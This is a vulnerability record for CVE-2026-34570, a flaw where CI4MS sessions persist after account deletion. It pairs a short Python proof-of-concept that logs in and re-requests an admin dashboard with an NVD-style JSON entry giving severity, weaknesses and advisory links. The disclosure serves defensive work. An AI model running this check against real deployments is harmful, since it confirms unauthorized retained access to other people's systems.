CVE-2026-34570

import requests # PoC to verify session persistence after account deletion target_url = "http://ci4ms-target.com" username = "victim" password = "password123" s = requests.Session() # Step 1: Login to get a valid session login_data = {"email": username, "password": password} s.post(f"{target_url}/login", data=login_data) # Step 2: Access a protected resource (should succeed) resp_before = s.get(f"{target_url}/admin/dashboard") print(f"Access before deletion: {resp_before.status_code}") # Step 3: Assume an admin deletes the account via another interface # Note: The session cookie 'ci_session' is still stored in 's' # Step 4: Attempt to access protected resource again with the old session resp_after = s.get(f"{target_url}/admin/dashboard") print(f"Access after deletion: {resp_after.status_code}") # If vulnerable, status code will be 200 instead of 302/401 if resp_after.status_code == 200: print("[+] Vulnerability Confirmed: Session remains active after account deletion.") else: print("[-] Session invalidated properly.")

{"cve": {"id": "CVE-2026-34570", "sourceIdentifier": "[email protected]", "published": "2026-04-01T22:16:20.870", "lastModified": "2026-04-06T18:16:41.637", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "CI4MS is a CodeIgniter 4-based CMS skeleton that delivers a production-ready, modular architecture with RBAC authorization and theme support. Prior to version 0.31.0.0, the application fails to immediately revoke active user sessions when an account is deleted. Due to a logic flaw in the backend design, account state changes are enforced only during authentication (login), not for already-established sessions. The system implicitly assumes that authenticated users remain trusted for the lifetime of their session. There is no session expiration or account expiration mechanism in place, causing deleted accounts to retain indefinite access until the user manually logs out. This behavior breaks the intended access control policy and results in persistent unauthorized access. This issue has been patched in version 0.31.0.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}, {"lang": "en", "value": "CWE-613"}, {"lang": "en", "value": "CWE-1254"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ci4-cms-erp:ci4ms:*:*:*:*:*:*:*:*", "versionEndExcluding": "0.31.0.0", "matchCriteriaId": "805F6B8A-9324-4CA4-BADE-439CC15DA14C"}]}]}], "references": [{"url": "https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.0.0", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-4vxv-4xq4-p84h", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}